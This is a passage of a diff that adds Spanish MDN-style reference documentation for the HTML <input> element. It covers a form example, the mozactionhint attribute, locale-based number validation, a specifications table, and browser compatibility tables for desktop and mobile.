+&lt;form action="getform.php" method="get"&gt;
+    &lt;label&gt;First name: &lt;input type="text"&gt;&lt;/label&gt;&lt;br&gt;
+     &lt;label&gt;Last name: &lt;input type="text"&gt;&lt;/label&gt;&lt;br&gt;
+        &lt;label&gt;E-mail: &lt;input type="email"&gt;&lt;/label&gt;&lt;br&gt;
+&lt;input type="submit" value="Submit"&gt;
+&lt;/form&gt;
+</pre>
+
+<h3 id="Resultado_2">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example_2_Common_use-case_scenario', '', '200', '', 'Web/HTML/Element/input') }}</p>
+
+<h3 id="Usando_mozactionhint_en_Firefox_mobile">Usando mozactionhint en Firefox mobile</h3>
+
+<p>Se puede usar el atributo {{htmlattrxref("mozactionhint", "input")}} para especificar el texto para la etiqueta de la tecla Enter en el teclado virtual cuando el formulario es mostrado en Firefox mobile. Por ejemplo, para mostrar una etiqueta "Next", se puede hacer esto:</p>
+
+<pre class="brush: html notranslate">&lt;input type="text" mozactionhint="next"&gt;
+</pre>
+
+<p>El resultado es:</p>
+
+<p><a href="/@api/deki/files/4970/=mozactionhint.png"><img alt="mozactionhint.png" class="default internal" src="/@api/deki/files/4970/=mozactionhint.png?size=webview" style="border: 1px solid black; height: 350px; width: 210px;"></a></p>
+
+<h2 id="Regionalización">Regionalización</h2>
+
+<p>Los valores permitidos para ciertos tipos de &lt;input&gt; dependen de la región. En algunos casos, 1,000.00 is a valid number, mientras en otros la manera válida de escribir un número es 1.000,00.</p>
+
+<p>Firefox usa la siguiente heurística para determinar la región con la cual validar los datos introducidos por el usuario (por lo menos para <code>type="number"</code>):</p>
+
+<ul>
+ <li>Intenta con el lenguaje especificado por el atributo <code>lang</code>/<code>xml:lang</code> del elemento o de sus elementos ascendentes.</li>
+ <li>Intenta con el lenguaje especificado en algun encabezado HTTP Content-Language o</li>
+ <li>Si ninguno está especificado, usa la región definida en el navegador.</li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Media Capture', '#the-capture-attribute','&lt;input capture&gt;')}}</td>
+   <td>{{Spec2('HTML Media Capture')}}</td>
+   <td>Añade el elemento <code>capture</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element', '&lt;input&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.4', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)<sup>[28]</sup></th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=button</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>3</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=checkbox</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}<br>
+    {{CompatGeckoDesktop("1.9.2")}}<sup>[2]</sup></td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=color</td>
+   <td>21.0</td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.01</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>type=date</td>
+   <td>5.0<sup>[24]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td>type=datetime</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td>type=datetime-local</td>
+   <td>5.0</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td>type=email</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=file</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>3.02</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=hidden</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=image</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}<sup>[5]</sup></td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=month</td>
+   <td>5.0</td>
+   <td>{{CompatNo}}<sup>[6]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td>type=number</td>
+   <td>6.0<sup>[7]</sup></td>
+   <td>{{CompatGeckoDesktop("29.0")}}</td>
+   <td>10<sup>[4]</sup></td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=password</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=radio</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}<br>
+    {{CompatGeckoDesktop("1.9.2")}}<sup>[2]</sup></td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=range</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("23.0")}}</td>
+   <td>10</td>
+   <td>10.62<sup>[8]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=reset</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=search</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>11.01</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=submit</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=tel</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>11.01</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=text</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>type=time</td>
+   <td>5.0</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td>type=url</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=week</td>
+   <td>5.0</td>
+   <td>{{CompatNo}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[4]</sup></td>
+  </tr>
+  <tr>
+   <td>accept=[file extension]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>accept=[MIME type]</td>
+   <td>8.0</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>accept=audio/*</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[9]</sup></td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>accept=video/*</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[10]</sup></td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>accept=image/*</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}<sup>[11]</sup></td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>accept=[. + ext]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>accesskey</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>mozactionhint</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>autocapitalize</td>
+   <td>43</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocomplete</td>
+   <td>17.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>5</td>
+   <td>9.6</td>
+   <td>5.2</td>
+  </tr>
+  <tr>
+   <td>autofocus</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>capture</td>
+   <td>Chrome for Android (0.16)</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>checked</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>disabled</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}<sup>[25]</sup></td>
+   <td>6</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>form</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formaction</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>5.2</td>
+  </tr>
+  <tr>
+   <td>formenctype</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formmethod</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>5.2</td>
+  </tr>
+  <tr>
+   <td>formnovalidate</td>
+   <td>5.0<sup>[12]</sup></td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formtarget</td>
+   <td>9.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>5.2</td>
+  </tr>
+  <tr>
+   <td>height</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>incremental</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>inputmode</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>list</td>
+   <td>20.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>max</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>maxlength</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>min</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>minlength</td>
+   <td>40.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>multiple</td>
+   <td>1.0<sup>[13]</sup></td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[14]</sup><br>
+    {{CompatVersionUnknown}}<sup>[15]</sup></td>
+   <td>10</td>
+   <td>1.0<br>
+    10.62<sup>[14]</sup><br>
+    11.01<sup>[15]</sup></td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>name</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>pattern</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>placeholder</td>
+   <td>10.0</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>11.00</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>readonly</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>6<sup>[16] </sup></td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>required</td>
+   <td>5.0<br>
+    10<sup>[17]</sup></td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>size</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>spellcheck</td>
+   <td>10.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>10</td>
+   <td>11.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>src</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>2</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>step</td>
+   <td>6.0</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>10.62</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>tabindex</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>6<sup>[18]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>webkitdirectory</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("49.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>width</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=button</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[27]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=checkbox</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=color</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("27.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=date</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>5.0<sup>[23]</sup></td>
+  </tr>
+  <tr>
+   <td>type=datetime</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[23]</sup></td>
+  </tr>
+  <tr>
+   <td>type=datetime-local</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[23]</sup></td>
+  </tr>
+  <tr>
+   <td>type=email</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.1<sup>[19]</sup></td>
+  </tr>
+  <tr>
+   <td>type=file</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}<sup>[27]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[21]</sup></td>
+  </tr>
+  <tr>
+   <td>type=hidden</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=image</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=month</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[23]</sup></td>
+  </tr>
+  <tr>
+   <td>type=number</td>
+   <td>2.3</td>
+   <td>{{CompatGeckoMobile("29.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>4.0<sup>[19]</sup></td>
+  </tr>
+  <tr>
+   <td>type=password</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[22]</sup></td>
+  </tr>
+  <tr>
+   <td>type=radio</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=range</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>type=reset</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=search</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>4.0<sup>[22]</sup></td>
+  </tr>
+  <tr>
+   <td>type=submit</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[27]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>type=tel</td>
+   <td>2.3</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>3.1<sup>[22]</sup></td>
+  </tr>
+  <tr>
+   <td>type=text</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[27]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[22]</sup></td>
+  </tr>
+  <tr>
+   <td>type=time</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}<sup>[23]</sup></td>
+  </tr>
+  <tr>
+   <td>type=url</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>3.1<sup>[19]</sup></td>
+  </tr>
+  <tr>
+   <td>type=week</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.62</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>accept=[MIME type]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>accept=audio/*</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>accept=image/*</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}<sup>[26]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>accept=video/*</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>accept=[. + ext]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>accesskey</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autocomplete</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>autofocus</td>
+   <td>3.2</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>capture</td>
+   <td>3.0</td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>6.0</td>
+  </tr>
+  <tr>
+   <td>checked</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>disabled</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>form</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formaction</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td>formenctype</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>formmethod</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.62</td>
+   <td>5.0</td>
+  </tr>
